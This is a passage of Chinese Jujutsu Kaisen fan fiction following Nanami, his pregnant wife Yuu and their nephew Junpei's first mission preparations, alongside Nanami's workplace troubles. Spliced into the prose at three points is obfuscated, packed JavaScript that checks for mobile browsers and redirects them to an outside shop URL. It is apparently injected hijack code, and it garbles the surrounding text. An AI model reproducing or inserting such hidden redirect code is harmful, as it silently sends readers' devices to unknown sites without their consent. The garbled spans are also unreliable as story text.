七海推了推眼镜,没再反驳。 他看着照片,又看看悠隆起的小腹,忽然说:“名字……该开始想了。” “啊,对哦。”悠眼睛一亮,“你有什么想法吗?” “有几个备选。”七海从公文包里拿出一个小笔记本——悠惊讶地发现他真的认真做了笔记,“男孩女孩的名字都有。回去可以一起看看。” 悠接过笔记本,翻开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154096|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面是七海工整的字迹,列了十几个名字,每个旁边还标注了读音和含义。 “七海海……你什么时候做的?”她鼻子有点酸。 “上个月开始。”七海平静地说,“工作间隙整理的。” “太可靠啦嘛。”悠靠在他肩上,小声说。 候诊区的阳光很好,透过玻璃窗洒在他们身上。 离开医院时,悠的手机震动了。是五条悟发来的消息,附了一张照片——教室里,顺平、真希、熊猫、狗卷四个人围在一起吃喜久福,顺平脸上被狗卷抹了一把奶油,表情有点懵,但确实在笑。 【顺平小朋友融入得很好哦~第一节课表现也很棒!悠酱放心养胎吧!ps:医生说宝宝怎么样?】 悠把B超照片拍给他看。 几乎是秒回: 【哇!好清晰!这小家伙长得不错嘛~看起来很有精神!恭喜恭喜!等宝宝出生了我要当干爹哦!??】 悠笑着回复:【那要问七海海同不同意。】 【诶~七海肯定同意啦!我可是最强咒术师,当宝宝的干爹多安全!】 七海瞥了一眼手机屏幕,面无表情地回复:【此事再议。】 然后关掉了手机。 下午五点半,七海去高专接顺平。 悠在家准备晚餐——虽然七海让她别忙,但她还是闲不住简单做了几道菜。 六点多,门开了。 顺平走进来,脸上带着运动后的红润,眼睛亮晶晶的。 “我回来了!” “欢迎回来~”悠从厨房探出头,“第一天怎么样?” “很……有意思。”顺平放下书包,斟酌着用词,“同学们都很好,五条老师的课也很有趣。” “今天新认识的真希同学体术特别厉害,人也是非常优秀可靠,不过对五条老师的授课方式感到抗议,但反抗无效。” “小姨,你不知道!夜蛾校长的儿子竟然真是一只大熊猫,虽然我听他说自己是有智慧的咒骸,但是也超级牛,熊猫很搞笑摸起来也毛茸茸的!” “还有狗卷同学!他的术式超级厉害是咒言,我还猜会不会是出口成真的那种!不过说话只能用饭团语代替意思,我和熊猫一直在研究,到时候我们四个可以创造一门新语言!” 后面顺平又唠到五条悟那些不按常理出牌的“训练”。 讲到“眼罩猜物游戏”时,悠实在没忍住笑出了声。 “听起来,顺平和同学们融入的很快,大家都是很好的孩子!而且五条先生真的很有创意。” “是很有问题吧。”七海脱下外套,客观评价。 晚餐时,顺平还在兴奋地和他们分享:“真希说没事可以和我一起练体术,她说我的姿势还有点问题,第一次我们对练,她一个人把我们三个都打趴下了。熊猫说他那有很多咒术界八卦,可以一起聊天。棘给了我一大盒金枪鱼蛋黄酱饭团,是他妈妈做的,上面写着‘欢迎’,还画了个笑脸。” 悠温柔地看着他:“顺平这下开朗了好多,交到朋友了呢。” “嗯。”顺平用力点头,“虽然大家都很……特别,但都是好人。” 饭后,顺平帮忙洗碗。 悠把今天的B超照片拿给顺平看。 “这是弟弟还是妹妹?”顺平小心地接过照片,眼睛睁得大大的,“好小……” “医生说很健康。”悠笑着指给他看,“这是头,这是手——你看,他在挥手。” “真的……”顺平看得很认真,然后小声说,“小姨,姨夫,我会变强的。等宝宝出生了,我也会保护他。” 七海推了推眼镜:“先保护好你自己。好好训练,好好学,这就是对我们最好的帮助。” “我明白。”顺平认真地说。 晚上八点,顺平离开后,悠靠在沙发上。 “顺平今天看起来很开心。”她说。 “嗯。”七海坐过来,“咒术界危险,但高专有五条和夜蛾老师在,确实是个能让人成长的地方。” “你当年入学时,也是这样的心情吗?” 七海想了想:“差不多。只是我那时的同期……人数更少,气氛也更严肃些。” 他没有说灰原雄的事。 那是另一个故事,现在还不需要提起。 悠感觉到按摩的手停下了,转过头看他:“怎么了?” “没什么。”七海摇摇头,继续按摩,“只是在想……时间过得真快。” 确实很快。 去年这个时候,他们刚结婚不久,顺平还是个有些内向的普通少年。 而现在,顺平已经穿上了高专制服,她的肚子里孕育着新生命,他们的生活正在以意想不到的方式展开。 但无论怎么变化,有些东西是不变的。 悠洗完澡躺在床上。 七海检查完门窗,关灯躺下。 黑暗中,他听到悠轻声说: “七海海。” “嗯?” “感觉好奇妙啊,宝宝今天在B超里的模样。” “嗯,我看到了。” “你说……他是在跟我们打招呼吗?” “可能。”七海的手轻轻放在她肚子上,“也可能只是随便动动。” “你好冷淡哦。”悠小声抱怨。 “实话实说。”七海的声音里有隐约的笑意。 安静了一会儿,悠又说:“五条先生总是发消息说想当宝宝的干爹。” “……我会认真考虑。” “其实我觉得可以哦。”悠翻过身面对他,“五条先生虽然看起来很乱来,但其实很细心。你看他给顺平准备的礼物,还有今天发的消息……。” “我知道。”七海说,“但他会教坏小孩。” “哈哈,和他一样性格的小孩吗?我觉得可以让他教咒术,你教宝宝做人。” “……有道理。” 两人都笑了。 笑声在黑暗中轻轻回荡,然后渐渐平息。 高专的山上,新生宿舍的灯光陆续熄灭。 在城市的另一个角落,窗的观测员刚刚提交了一份报告——关于一个特级咒灵的异常活动迹象。 报告被标注为“紧急”,将在明天早晨送到五条悟的办公桌上。 49. 职场上的不顺 悠慢慢从床上坐起来,手托住沉重的腹部。 怀孕进入第二十三周,行动时多了几分笨重。 她侧耳听了听——浴室没有水声,厨房没有煎蛋的滋滋声。 七海已经出门上班了。 这是顺平住校后的第二周。 公寓突然空旷了许多。 悠慢慢走到客厅。 餐桌上摆着七海准备好的早餐:温在保温垫上的粥,切好的水果,还有一张便条。 【我去上班了。粥要喝完,水果记得吃。中午的便当在冰箱第二层,热两分钟就好。不舒服随时打电话。 ——建人】 字迹一如既往的工整利落。 悠拿起便条看了会儿,放进冰箱挂兜里——她已经收集一小叠这样的便条了。 吃完早餐,悠坐在工作台前,却迟迟没有动笔。 新一话的分镜该开始了,但灵感迟迟不来。 窗外的阳光很好,樱花还在开,但花瓣已经开始零落。 手机震动了一下。 是“高专一年级家属群”——这个群是五条悟建的,成员只有悠、吉野凪和七海。 五条悟美其名曰“家校联系群”,实际上大部分时间都在发各种搞怪表情包和甜品店推荐,还有他的日常分享。 最新一条还是他发的:【各位家长早上好~今天一年级的课程安排:上午体术训练(真希负责监督),下午咒术理论(我亲自教~),晚上自习(熊猫会帮忙辅导)。放心,孩子们都在健康成长中!??】 附上一张偷拍的照片——训练场上,顺平正在真希的指导下练习挥刀动作,表情认真得有些狰狞;熊猫在旁边做示范,狗卷在吹着口哨当裁判。 悠忍不住笑了,回复道:【辛苦五条老师了。顺平麻烦您多关照。孩子们学习都很认真!】 几乎秒回:【不麻烦的悠酱~顺平很用功哦!就是体术基础还需要加强,不过有真希在,没问题的!】 工作间隙看到手机讯息的吉野凪也回复了:【谢谢老师!顺平周末回来的时候说同学们都很照顾他,真的很感谢大家,顺平比以前开朗了好多。】 【那是当然的啦~我们高专就像一个大家庭嘛!】 看着群里的对话,悠心里的那点寂寞淡了些。 她想了想,点开顺平的私聊窗口: 【看到五条老师发的照片了,训练很认真呢。记得多喝水,别太勉强自己。训练加油!!】 几分钟后:【小姨,我会注意的。您今天感觉怎么样?宝宝还好吗?】 【都很好。就是你们不在我和宝宝超级无聊,而且灵感也不来。】 【那可以看看电视?或者出去散散步?不过要小心。】 【知道啦,小管家~你快去训练吧。】 放下手机,悠轻轻拍了拍肚子:“宝宝,你看表哥多懂事。” 腹中的宝宝似乎听到了,轻轻动了一下。 悠笑了,拿起笔。 中午,高专食堂。 顺平端着餐盘在熊猫对面坐下。 今天食堂的菜色是炸猪排定食,香气诱人。 真希和狗卷已经吃完了,真希在保养她的咒具,狗卷在本子上写着什么。 “顺平,上午和真希训练怎么样?”熊猫问,毛茸茸的脸上居然能看出关切的表情。“有没有感觉到被大魔王支配的痛苦!” “喂!熊猫!我听得到!”真希额头上蹦起#字。 “还、还好……”顺平揉了揉酸痛的手臂,“不过真希同学真的很严格。” “那是为你好。”真希头也不抬,“你的发力方式有问题,不改过来以后会受伤。” “我知道,很谢谢真希。”顺平认真地说。 狗卷把本子推过来:【超级进步顺平!!撒花??】后面画了个竖起大拇指的简笔画。 顺平脸微红:“谢谢狗卷同学。” 吃饭时,顺平的手机震动了好几次。 熊猫八卦地看向他,脸上出现了堪称猥琐的眯眯眼:“顺平好像经常回消息?难道说……女朋友!!” “不、不是!”顺平急忙摆手,“是妈妈和小姨。小姨现在怀孕了,月份大了,一个人在家有时候会无聊,我就多跟她聊聊天。” “诶~顺平有小姨啊。”熊猫眨眨眼,“好羡慕啊!!关系很好呢。” “嗯。小姨和姨夫都很照顾我。”顺平说到这,眼睛亮了些,“小姨的预产期在八月,我很快就要有表弟或表妹了。” “恭喜!”熊猫拍拍他的肩,“到时候记得给我们看照片哦!” 【恭喜,没想到竟然要升级成哥哥了!好样的顺平!】狗卷也举起本子。 真希抬起头:“那你可要更努力训练了。当哥哥的要能保护弟弟妹妹才行。” “我会的。”顺平用力点头。 这时,五条悟端着餐盘晃悠过来,很自然地在他们这桌坐下:“聊什么呢这么开心~” “在说顺平的小姨要生宝宝了。”熊猫说。 “哦~那个啊!”五条悟一拍手,“我知道我知道!悠酱对吧?人超~温柔的!宝宝肯定也很可爱!” 顺平点点头,犹豫了一下,还是说:“老师,小姨和妈妈都是普通人……所以关于咒术多余的事,我都没跟她们说,怕他们担心。” “做得好!”五条悟竖起大拇指,“普通人就应该过普通人的生活嘛~而且孕妇更不能受惊吓。你放心,老师我有分寸,绝对不会说漏嘴的!” 他说这话时,朝真希、熊猫和狗卷使了个眼色。 三人立刻会意—— 真希:“当然,我们就是普通的宗教学校。” 熊猫:“对的对的,专门培养杀手特工拯救世界和平!” 狗卷:【熊猫说了不得了的东西】 看着同学们这么配合地演戏,顺平心里涌起一股暖意。 他知道大家都在保护他的家人,用这种有点笨拙但真诚的方式。 “谢谢大家。”他小声说。 “客气什么~”五条悟揽住他的肩,“我们是一年级嘛,就是要互相帮助!对了,”他忽然压低声音紧张兮兮的,虽然周围根本没人,“下周有个小任务,在市区。级别不高,你们四个一起去练练手。顺平,这是你第一次出任务,紧张吗?” 顺平握紧筷子:“有点……但我会努力的。” “放轻松~”五条悟笑得灿烂,“我会在远处看着的,有问题随时支援。就当是一次课外实践嘛~” 话虽这么说,但顺平知道,踏入真正的战场,和训练是完全不同的。 他看向真希——她已经出过几次任务了,表情平静;熊猫也一脸淡定;连狗卷都只是点了点头。 我也要快点成长起来。 顺平在心里默默想。 为了能保护重要的人,为了不拖同伴的后腿。 东京市中心某证券公司大楼。 七海建人坐在办公桌前,盯着电脑屏幕上的财务报表。 他眼镜后的眼底有一丝不易察觉的疲惫。 已经是连续第三周加班到深夜,还没有休息连续上班。 “七海君。”课长中村的声音从身后传来,带着那种虚伪的亲切,“资料整理完了吗?客户明天就要。” “还差最后一部分。”七海头也不回,“下班前可以完成。” “那就好那就好。”中村拍了拍他的肩,力道有点重,“你做事我一向放心。对了,这个季度的绩效评估出来了……有点遗憾啊,你本来是升职的第一人选,但上面决定给铃木君了。你知道的,他叔叔是董事……” 七海敲击键盘的手指顿了顿:“我明白了。” “你别往心里去啊。”中村嘴上这么说,语气却没什么歉意,“你还年轻,以后还有机会。而且你现在家里不是有孕妇吗?太忙了也不好,多陪陪家人。” 这话说得冠冕堂皇,但七海听出了潜台词——你因为家庭原因不能全心投入工作,所以升职机会给别人也是理所当然。 “谢谢课长关心。”七海平静地说,“我会处理好工作和家庭的平衡。” “那就好那就好。”中村满意地走了。 七海继续处理文件,手指在键盘上敲击出规律的声响,只是力道比之前重了一些。 一个月前,人力资源部找他谈话时说的:“七海君,你的业绩是全部门最好的,这次升职本来非你莫属。但铃木君那边……你也知道,有些事不是只看业绩的。” 他当然知道。 咒术界有家族政治,普通人的职场也有裙带关系。 本质上没什么不同。 下午三点,铃木晃着车钥匙走过来,把一叠厚厚的文件扔在七海桌上:“七海前辈,这个客户很难搞,课长说交给你最放心。麻烦下班前给我初步方案哦~” 那是至少需要两天才能完成的工作量。 七海推了推眼镜:“下班前可能——” “客户明天就要见我们啊。”铃木打断他,笑容灿烂,“前辈能力这么强,肯定没问题的对吧?啊,我晚上有约会,先走啦~” 看着铃木离开的背影,七海沉默了几秒,然后重新看向电脑屏幕。 他开始加速工作——不是因为他屈服于这种不公平,而是因为早点做完就能早点回家。 悠还在家里等他。 她现在需要人陪伴,需要有人扶着散步,需要有人半夜帮她按摩酸痛的腰。 这些事比职场上的勾心斗角重要得多。 手指在键盘上飞舞,屏幕上的数字和图表快速滚动。 七海的眼神专注而冷静,那些被压抑的烦躁和疲惫,被他用强大的自制力锁在内心深处。 他知道铃木和中村在针对他——从他拒绝参加那些无意义的应酬开始,从他坚持准时下班陪产检开始,从他表现出对升职“不够热衷”开始。 在这些人看来,一个不喝酒、不应酬、准时下班回家陪老婆的男人,就是“没有事业心”。 无所谓。 七海看了眼手机屏保——是悠上周刚拍的孕晚期的艺术照片。 他们,比任何职场头衔都重要。 他继续工作。 窗外的天色渐渐暗下来,办公室的人陆续离开。 七海桌上的台灯亮着,在空旷的办公区里像一座孤岛。 晚上十点二十,七海终于关上电脑。 整层楼只剩下他一个人。 他拎起公文包,锁好办公室门,走进电梯。 镜面的电梯壁映出他的身影——西装依旧笔挺,领带一丝不苟,但眉宇间有掩饰不住的倦色。 开车回家的路上,东京的夜景流光溢彩。 等红灯时,七海无意间瞥见路边的小巷里,有什么东西在蠕动。 是一个三级咒灵,外形像扭曲的流浪狗,正在翻找垃圾堆。 七海看了眼周围。 小巷深处有个蜷缩的人影,是个流浪汉,似乎生病了,对近在咫尺的咒灵毫无察觉。 咒灵如果继续成长,可能会开始攻击活物。 红灯转绿。 七海打了转向灯,把车停在路边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154097|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他下车,走进小巷。 咒灵发现了他,发出威胁的低吼。 七海解下领带,缠在右手上——没有咒具,只能用最简单的方法。 不到一分钟,咒灵被拔除。 七海整理好领带,走到流浪汉身边,从钱包里抽出几张钞票,轻轻放在他身边,又留下一张附近救助站的名片。 做完这一切,他回到车上,继续往家开。 整个过程不到十分钟,像是一个微不足道的小插曲。 但他没注意到,小巷对面的便利店门口,一个刚下班的女白领看到了部分过程——她看到这个西装革履的男人走进小巷,几分钟后出来,巷子里似乎有什么黑烟散去。 她揉了揉眼睛,怀疑自己加班太累眼花了。 深夜七海回到公寓楼下。 他站在车边,做了几个深呼吸,让脸上的疲惫褪去,重新换上平静的表情。 不能把工作的烦恼带回家。 他抬头看了眼家的窗户——灯亮着,温暖的光透过窗帘。 悠在等他。 七海整理了一下西装,走进公寓楼。 “我回来了。” “唔──欢迎回来~” 悠睡眼惺忪地从沙发上坐起来——动作有点慢。 七海没有急着去扶,而是放好外套和公文包,等她坐好了,才走过去,把她滑脱的毛毯往上盖了盖。 “今天怎么样?”他亲了一口悠的侧脸,声音比白天柔和许多。 “挺好的。画了一点分镜,和凪姐视频聊了会儿天,还和顺平发了消息。”悠看着他,“七海海呢?今晚工作又是这么晚,你们领导也太过分了,总是欺负你!” “还好。”七海脱下西装外套,“晚饭吃了吗?” “吃了你准备的便当。很好吃。”悠跟着他走进厨房,“我给你留了汤,热一下就能喝。” 七海热汤的时候,悠从背后轻轻抱住他的腰——现在只能环住一半了,肚子挡住了。 她把脸贴在他背上,感受着他身体的温度。 “七海海。” “嗯?” “你最近……是不是很累?” 七海的身体几不可察地僵硬了一下:“为什么这么问?” “就是感觉。”悠小声说,“你身上的线……颜色有点暗,绷得有点紧。” 七海沉默了。 他忘了,悠能看到那些他隐藏的情绪。 “工作上有点麻烦。”他最终选择部分坦白,“但不严重,我能处理。” “不能跟我说说吗?”悠转到前面,抬头看他。 “不想让你担心。”七海关掉火,盛出汤,“你现在最重要的任务是好好养胎。” “可是你也是我重要的人啊。”悠抓住他的衣袖,“看到你累,我也会担心的。” 七海看着她的眼睛——那里有毫不掩饰的关切和心疼。 他忽然觉得,那些职场上的糟心事,其实真的不值一提。 “只是些人际关系的小问题。”他简单地带过,“我会处理好的。放心吧。” 悠盯着他看了几秒,然后叹了口气:“好吧。但如果你需要倾诉,我随时都在。” “嗯。”七海点头,心里某个紧绷的地方松了些。 “七海海,你说等宝宝出生了,我们会不会像电视剧里那样,手忙脚乱的?” “大概率会。”七海客观地说,“但我们可以学习。” “你会换尿布吗?” “……可以学。” “你会泡奶粉吗?” “……可以学。” “你会半夜起来哄宝宝吗?” “……”七海推了推眼镜,“这是我的职责。” 悠笑了,凑过去在他脸上亲了一下:“我就知道七海海最可靠了。” 悠看着灯下眉眼放松的七海,忽然说:“其实我觉得,就算七海海工作不那么努力,也没关系。” 七海看向她。 “因为在我心里,你早就是最厉害的人了。”悠认真地说,“你能把家务做得井井有条,能记住我所有的产检时间,能训练顺平变得那么强……这些比什么升职加薪都厉害。” 七海没有说话,只是握住她的手。 那些白天积压的烦躁和疲惫,在这一刻真正消散了。 是啊,他想。这些才是真正重要的事。 至于职场上的那些蝇营狗苟……也许,是该重新考虑一些事情的时候了。 但他没有说出来。 临睡前,悠忽然说:“对了七海海,五条先生说下周顺平要出第一次任务了,在市区。” “几级?” “他说级别不高,一年级四个人一起,他会在远处看着。” 七海点点头:“一年级都在,应该没问题。那几个孩子的术式也很适合团队作战。” “我感觉已经提前体验为人父母的操心了,还是有点担心……” “正常的。”七海的手停下来,放在她肩上,“但这是顺平自己选的路。我们能做的,就是相信他,等他回家。” 悠点点头:“七海海,你当年第一次出任务时,紧张吗?” 七海想了想:“紧张。但更多的是……使命感。觉得自己在做正确的事。” “那现在呢?” “现在……”七海看着窗外的夜色,“现在我觉得,能保护重要的人,就是正确的事。” 无论是以咒术师的身份,还是以丈夫、姨夫还是未来的父亲身份。 悠握住他的手,十指相扣。 50. 准备首次任务 “胎动的感觉真的很奇妙对吧?”悠坐在藤椅上,手轻轻抚着已经相当明显的孕肚,脸上带着温柔的微笑,“有时候像小鱼吐泡泡,有时候又像在翻身。” 露台上坐着四位孕妇,这是坂本太太组织的“孕期交流会”。 悠是最年轻的一个,怀孕刚满二十五周。 其他三位孕妇中,最年长的中川太太怀的是二胎,已经有八个月了。 “我怀我家老大的时候,他在肚子里特别爱动。”中川太太笑着说,手放在自己高耸的肚子上,“现在上小学了,果然是班上最活泼的那个。” 佐藤太太点点头:“我女儿就很安静,但每天晚上就开始活动,像在肚子里上夜班。” 悠听得津津有味。 自从顺平住校后,公寓白天确实安静了许多。 能和其他孕妈聊天,分享那些只有孕妇才懂的小烦恼和小喜悦,让她的日子充实了不少。 “七海太太现在是六个月?”坂本太太端着花茶过来,关切地问。 “满二十五周了。”悠准确地说,“医生说宝宝发育得很好,就是最近腰酸得厉害。” “那很正常!”中川太太拍手,“我那时候睡觉都得在腰后面垫两个枕头。” “我先生会帮我按摩。”悠脸微红,“他手法还挺专业的。” “诶~真贴心!” 五楼双胞胎的外婆端着刚烤好的小饼干走过来:“各位准妈妈们,补充点能量~” “谢谢您!”大家纷纷道谢。 老太太在悠身边坐下,仔细看了看她的气色:“脸色不错,就是脚踝有点浮肿吧?” “早上起来会肿一点,下午就好了。” “晚上睡觉把脚垫高。”老太太传授经验,“我女儿出生时,可没少受罪。” 悠认真记下。 聊着聊着,话题转到了各自的家庭。 “我老公是程序员,天天加班到半夜。”佐藤太太叹气。 “我那位是销售,应酬多,经常一身酒气回来。”中川太太摇头。 “七海先生呢?我听坂本太太说是在证券公司?”有人问。 悠点点头:“嗯。我老公最近挺忙的,回来很晚。”她没提具体细节——七海从不把工作的烦恼带回家,但她能从他身上那些紧绷的线看到,事情并不顺利。 “男人嘛,都这样。”中川太太安慰道,“等宝宝出生就好了。我生老大的时候,我老公在医院陪产,哭得比我还厉害。” 大家都笑起来。 悠也跟着笑,心里却想着昨晚七海帮她按摩时,手背上隐约的痕迹。 她问是不是训练时弄的,他只说是“不小心碰到”。 真的是不小心吗? “七海太太?”坂本太太的声音把她拉回现实,“你还好吗?” “啊,没事。”悠摇摇头,“宝宝刚才踢了我一下。” “真活泼!”大家又笑起来。 另一边,高专训练场。 “脚步太乱了!”真希的木刀“啪”地敲在顺平小腿上,“你是要跟咒灵斗舞吗?” 顺平满头大汗地调整姿势。 今天是他第一次出任务前的最后一次强化训练,真希比平时严格了不止一点。 真的很像教导主任啊!真希! “呼吸!咒力要流动,不是憋在胸口!”真希精准打击到顺平的胸口,噎的他一口气差点没绷住,“你以为咒灵会等你调整好呼吸再攻击吗?” “是!”顺平咬牙,努力按照她教的要领调整。 场边,熊猫和狗卷正在检查明天要用的装备。 这次任务的目标是三级咒灵,出现在墨田区一所老旧小学的废弃校舍里。 “三级的话,我们四个肯定没问题。”熊猫整理着咒具包,“不过毕竟是顺平第一次实战……” 狗卷点点头,在本子上写:【我会掩护。多带点防患于未然!】 “喂!你们两个!”真希回头喊道,“熊猫过来当陪练!棘,用咒言干扰顺平,让他适应战斗中的分心!” “来啦来啦~”熊猫小跑过来,毛茸茸的身体展现出意外的敏捷。 训练一直持续到中午。 顺平累得几乎站不稳,但眼睛亮得惊人——他能感觉到自己的进步,对咒力的掌控越来越得心应手,甚至体内流转的咒力让他隐隐约约摸到一点边缘。 午休时,四个人坐在树下吃午餐,享受难得的休息时间。 顺平打开今早‘顺路’来看他的姨夫带给他的便当盒——满满当当的炸鸡块、照烧猪排和土豆牛肉沙拉,还有一大盒草莓。 “你小姨做的吧?”真希瞥了一眼,完全不像是顺平那个扑克脸姨夫的手笔。 “嗯。”顺平点头,“小姨很喜欢下厨。” 熊猫羡慕地晃了晃:“真好……我也想有人给我做便当……从来没吃过正道亲手做的!!” “你还是自己学吧。”真希毫不留情。 “真希好严格~” 顺平拿出手机,拍了张便当照片发给悠:【小姨,便当超级好吃。我们一起分享啦!谢谢!】想了想,又加了一句:【今天训练很顺利。期待!】 几分钟后,悠回复:【那就好。多吃点,补充体力。和同学们注意安全哦。】附带一个拥抱的表情。 熊猫凑过来看:“又在和小姨发消息?” “嗯。”顺平有点不好意思,“小姨总担心我。” “不错。”真希难得语气不那么尖锐,有点停顿迟疑“家人应该……就是会这样。” 顺平犹豫了一下,还是问:“真希同学的家人……也会担心吗?” 空气突然安静了一瞬。 真希的表情冷了下来:“我没有需要担心的家人……”她咬了一口饭团,嚼得很用力,“那些家伙……不提也罢。” 熊猫赶紧打圆场:“啊哈哈,真希是说她家里比较复杂啦!对吧真希?” “所以才让你们叫我真希就好。”真希强调,“尤其是!!前面不要加姓。” “鲑鱼鲑鱼!” “是是是,真希~”熊猫连忙改口。 顺平意识到自己可能问了不该问的,赶紧道歉:“对不起,真希,我……” “没事的。”真希摆摆手,“想太多了顺平,你不是第一个问的。总之,我和那些家伙没关系,以后也不会有关关系。” 她站起身,拍了拍裤子上的草屑:“快吃,下午还要听五条老师讲任务细节和评级制度。” “评级制度?”顺平好奇地问。 “就是咒术师的等级评定。”真希解释道,“从四级到特级。你现在还没评级,这次任务的表现会决定你的初始评级。” 顺平的眼睛睁大了:“我……也会有评级?” 狗卷笑眯眯地掏出了小牌子,打了一个对号。 “当然。”真希看着他,“虽然你起步晚,但只要努力,总会提升的。不过别抱太高期望,大部分人一辈子都停留在三四级。” 她说完就转身去收拾装备了。 熊猫和狗卷凑在一块小声对顺平说:“真希对评级这事特别在意……因为她家里那些‘老头子’总是拿这个说事。” 顺平点点头,没再多问。 但他记住了真希刚才的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这个咒灵超级弱哎──完全是炮灰级别的,一定要挑出一个毛病就是怕强光。它靠阴影移动,如果制造足够光照,它的活动会受限。” “提问!真希,你咒具带了吧?” “带了。”真希拍了拍身边的长条包裹。 五条悟满意地点头,又举起麦克风对准熊猫:“提问!熊猫负责制造光源和当肉盾。你皮糙肉厚,被挠几下没事吧?对此有什么感想?” 熊猫:“……老师,这话听着好伤熊心。” “这是夸奖啦夸奖~”五条悟摆摆手,转向狗卷,“棘用咒言控场,注意咒力消耗别给他一下say bye bye ,欧不欧K?” 狗卷点头。 最后他看向顺平,用麦克风对准自己低声认真的说:“这位顺平小朋友,今天你的任务最特别——观察、学习、感受。第一次实战,不要求你冲在最前面,但要记住整个战斗的节奏,感受战斗的过程,提高默契度,寻找自己的定位。明白吗?” “明白!”顺平用力点头。 “不过啊~”五条悟突然又切换回不正经模式,凑到顺平面前,“如果真的遇到危险,记得大喊‘帅气的五条老师救我!’,老师我就会像英雄一样帅气登场哦!” 真希:“老师,这跟战术有关系吗?” “有关系啊!老师我心情好了,战斗力提升300%呢!” “……我们还是靠自己吧。” 熊猫小声对顺平说:“别看悟总这样,但他教的东西其实都很实用……就是表达方式有点问题。” 狗卷在旁边默默点头。 51. 顺平觉醒术式 课间休息时,四人坐在走廊的长椅上。 顺平还在消化刚才的内容——虽然五条老师的教学方式很……特别,但要点确实都讲清楚了。 “所以……咒术师的评级,具体怎么评定的?老师好像没说?”顺平问。 真希正在检查她的眼镜——特制的咒具眼镜,让她这个几乎零咒力的天与咒缚也能看到咒灵。 听到问题,她头也不抬地回答:“主要看咒力量、术式、实战成绩。四级最低,特级最高。” 熊猫补充:“我和棘是二级。真希是……”他顿了顿。 “四级。”真希接话,语气平淡,“因为我没有咒力,看不到咒灵,需要靠这副眼镜。在那些老古董看来,这就不配当咒术师。” 她说得轻描淡写,但顺平能感觉到话里的刺。 禅院家,那个真希深恶痛绝的家族,显然没少拿这个说事。 “但真希的实力明明很强……”顺平小声说。 “鲑鱼”没错没错! 狗卷拍了拍顺平一起安慰她。 “实力强和评级高是两回事。”真希戴上眼镜,看向顺平,“在咒术界,咒力就是一切。没有咒力,再强也会被看低。” 她站起身,活动了一下手腕:“所以我才说,评级算个屁。” 熊猫:“真希,说脏话……” “闭嘴。”真希瞪了他一眼,然后看向顺平,“听好了,评级只是数字,实力才是真的。我四级怎么了?照样能打趴一堆二级三级的家伙。” 她指着熊猫和狗卷:“这两个,我一个能打俩。你信不信?” 熊猫举手:“我信我信!真希超强的!” 狗卷默默点头举手投降。 真希满意地“哼”了一声:“所以顺平,别太在意初始评级。三级也好,四级也罢,只要实力够强,谁都不敢小看你。那些只会在评级上做文章的,都是废物。” 她说这话时,眼里有火焰在烧。 那是被轻视、被否定后燃起的斗志,是不服输的倔强。 顺平用力点头:“我明白了!” “明白就好。”真希拍了拍他的肩,“这次任务好好表现,但别逞强。安全第一。” 这是真希式的关心——藏在严厉和别扭之下,却真实而温暖。 下午,证券大楼。 七海盯着电脑屏幕上那份问题合同,眼神冰冷。 这是铃木一小时前扔给他的,客户五点半就要来签——而里面的几个关键数据明显有误。 他看了眼时间。 重新核对需要至少两小时,但只剩一个半小时。 内线电话响起,是铃木:“前辈,合同就拜托你啦!我在外面见客户,手机快没电了!” 电话被挂断。 七海放下话筒,手指在键盘上停顿了几秒。 然后,他打开原始数据文件,开始快速核对。 这不是第一次了。 上个月,铃木“忘记”重要条款;上周,铃木混淆客户资料。 每一次都用“太忙了”“不小心”搪塞,而中村课长总是笑着说“年轻人嘛,难免犯错”。 但七海知道,这些“错误”都是算计。 只要他犯错一次,铃木就能把错都归到他的位置。 五点整,七海打印出修正后的合同。 几乎同时,中村课长走了过来。 “七海君,合同好了吗?” “好了。”七海递过去,“数据都核对过了。” 中村翻看合同,忽然皱眉:“这个条款……客户昨天说要修改,铃木没告诉你吗?” 陷阱。 七海清楚地意识到。 “没有。”他平静地说。 “哎呀,这孩子……”中村叹气,“那现在改来得及吗?客户还有二十分钟就到。” 七海看着中村虚伪的脸,忽然觉得这一切很可笑。 他离开咒术界想过普通生活,但普通人的世界一样充满算计。 手机震动。 是顺平的消息:【姨夫,晚上我第一次出任务。我会加油的。】 七海看着这条消息,又看了看面前的中村。 那一刻,他做出了决定。 “课长。”他开口,声音比平时更冷,“修改条款需要客户的书面确认。如果您没有书面文件,我不能擅自修改。” “可是——” “可以在签合同前做补充协议。”七海站起身,“我现在去准备。另外,我会把今天的事情经过详细记录。如果将来出现问题,这些记录或许有用。” 中村的脸色变了。 “七海君,你这是——” “按公司规定和职业操守办事。”七海已经拿起笔记本,“如果您没有其他事,我先去准备补充协议了。” 他走出办公区,在楼梯间拨通了五条悟的电话。 “哟~七海?真难得!”五条悟轻快的声音传来。 “前辈。顺平的任务地点?” “墨田区立第三小学。怎么了?” “我会在附近。”七海说,“如果有需要,可以支援。” 电话那头沉默了两秒:“……发生什么事了?” 